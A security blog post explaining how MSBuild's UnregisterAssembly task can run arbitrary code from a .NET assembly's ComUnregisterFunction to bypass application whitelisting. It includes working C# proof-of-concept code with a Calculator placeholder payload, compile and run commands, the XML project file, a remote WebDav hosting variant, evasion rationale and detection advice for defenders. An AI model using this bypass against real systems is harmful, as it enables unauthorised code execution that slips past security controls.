Another MSBuild Invocation (February 2020 Edition)

TL;DR: Use MSBuild’s UnregisterAssembly task to execute arbitrary code in a .NET assembly.

A few weeks ago, Casey Smith (@SubTee) tweeted this out:


Followed by this:

Casey shared that instead of using the default “CreateInstance” function to execute a serialized .NET assembly via DotNetToJScript, we could use the UnregisterFunction from the System.Runtime.InteropServices.RegistrationServices class to “Unregister” an assembly and execute arbitrary code.

Basically, we place our malicious code in a ComUnregisterFunction in our .NET assembly and call UnregisterAssembly to execute it.

This tactic reminds me of the InstallUtil application whitelisting bypass where we call InstallUtil.exe with the uninstall flag (/u) and point it to a .NET assembly with malicious code located in an Uninstall function.

Anyway, this is an awesome technique and an easy way to alter the default output from tools like DotNetToJScript. But let's get back to MSBuild.

After investigating the Interop Registration Services class a bit more, I stumbled upon MSBuild’s “Unregister Assembly” documentation on MSDN. Specifically, I landed on this page:

Based on Microsoft's documentation, it looks like we can call MSBuild to unregister an assembly. When we execute an UnregisterAssembly task using MSBuild, it searches our .NET assembly for a ComUnregisterFunction (just like @SubTee's example above) and executes the code in that function.

I copied down the default XML code provided on MSDN for the UnregisterAssembly task and modified the assembly path to point to a locally hosted dll that opens the calculator app.

Sure enough, when you call MSbuild.exe with an UnregisterAssembly task in an XML file, it will execute whatever code you include in the ComUnregisterFunction in the referenced DLL.

Here's a quick video of the bypass in action:

To summarize, here are the steps to get this bypass to work:

  1. Create a C# file and place your payload into a [ComUnregisterFunction]. You do that like this:
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;


[ComVisible(true)]
public class Sample
{
    //Any function name works
    [ComUnregisterFunction] 
    public static void Unregister(string str)
    {
	//Arbitrary code inserted here
        Process.Start("calc"); 
    }
}


2. Compile your code into a .NET assembly.

csc.exe /target:library unregister.cs

3. Modify the XML file from MSDN so that the OutputPath value is equal to the folder where your DLL lives and the FileName is the name of your DLL.

<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
    <PropertyGroup>
        <OutputPath>C:\Users\ponce\Desktop</OutputPath>
        <FileName>\unregister.dll</FileName>
    </PropertyGroup>
    <Target Name="UnregisterAssemblies">
        <UnregisterAssembly
            Condition="Exists('$(OutputPath)$(FileName)')"
            Assemblies="$(OutputPath)$(FileName)" />
    </Target>
</Project>

4. Run msbuild.exe and provide it the path to this xml file.

msbuild.exe unregister.xml

After discovering this bypass, we shared our findings with Casey and he recommended looking for a way to host the assembly remotely. Sure enough, it’s possible.

After a bit of trial and error, I discovered that hosting the .NET assembly on a WebDav server yields the same results as if you were hosting it locally. Here’s a quick video demonstrating code execution via a remotely hosted DLL on a WebDav server:

Not sure how to deploy a WebDav server? I wasn't until I needed it for this. Checkout BlackHill's article: https://www.blackhillsinfosec.com/deploying-a-webdav-server/

*One thing to note: when you’re updating the FileName for the .NET Assembly hosted on the WebDav server, the name MUST be proceeded by a “\”. That was discovered after lots of frustration.

So, why is this bypass useful?

  1. The word “Task” is no where to be found in the XML file. The other two flavors of MSBuild bypasses that our team uses (inline tasks and custom tasks) require the creation of a “Task” within the XML file. This approach would bypass any detections based on signatures of those two methods.
  2. You can separate your payload (including remotely hosting it) from the XML file that you’re passing to MSBuild.
  3. The XML file looks nearly identical to the default xml file provided by Microsoft.
  4. This is an alternative to the commonly used inline-tasks msbuild bypass.

What are the limitations?

  • If you don't want to host the .NET assembly remotely, then you’ll need to drop it to disk.
  • This will not work if DeviceGuard is enabled and blocking the loading of unsigned .NET assemblies.

How can defenders detect this?

  1. Look for XML files called by MSBuild that include the “UnregisterAssembly” tag.
  2. Be suspicious of MSBuild tasks grabbing remote .NET assemblies.
  3. Search suspicious .NET assemblies for [ComUnregisterFunction] and review the code in that function.

Generally, we recommend protecting your environment against this bypass and many other similar tactics by using Device Guard (WDAC).

Written By: Joe Leon